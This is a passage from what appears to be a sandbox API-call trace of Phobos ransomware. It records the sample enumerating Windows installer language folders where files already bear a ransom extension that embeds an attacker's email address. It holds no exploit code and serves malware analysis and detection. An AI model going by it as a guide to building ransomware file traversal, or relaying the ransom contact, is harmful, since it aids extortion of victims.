cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.163] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.163] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.163] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.164] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.164] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0132.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.165] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.165] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee0df62c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.165] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0df62c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee0df62c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee38e3c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.165] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.165] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.165] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.166] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.166] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0132.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0132.167] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.167] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee368188, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee368188, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.167] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38e3c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee38e3c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.167] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.167] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.167] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0132.167] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.167] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2052", cAlternateFileName="")) returned 1 [0132.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.168] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.169] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.169] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee44f78f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee44f78f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee4bf682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.169] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.169] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.169] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.170] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.170] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="2070", cAlternateFileName="")) returned 1 [0132.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.171] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.171] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee794272, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.171] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4bf682, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee4bf682, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee77a611, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.171] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.171] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.171] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.172] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.172] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0132.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.172] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.173] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.173] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.173] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.173] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.173] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.173] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.173] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0132.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7393e8 [0132.174] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.174] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7e0692, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.174] FindNextFileW (in: hFindFile=0x7393e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x0, 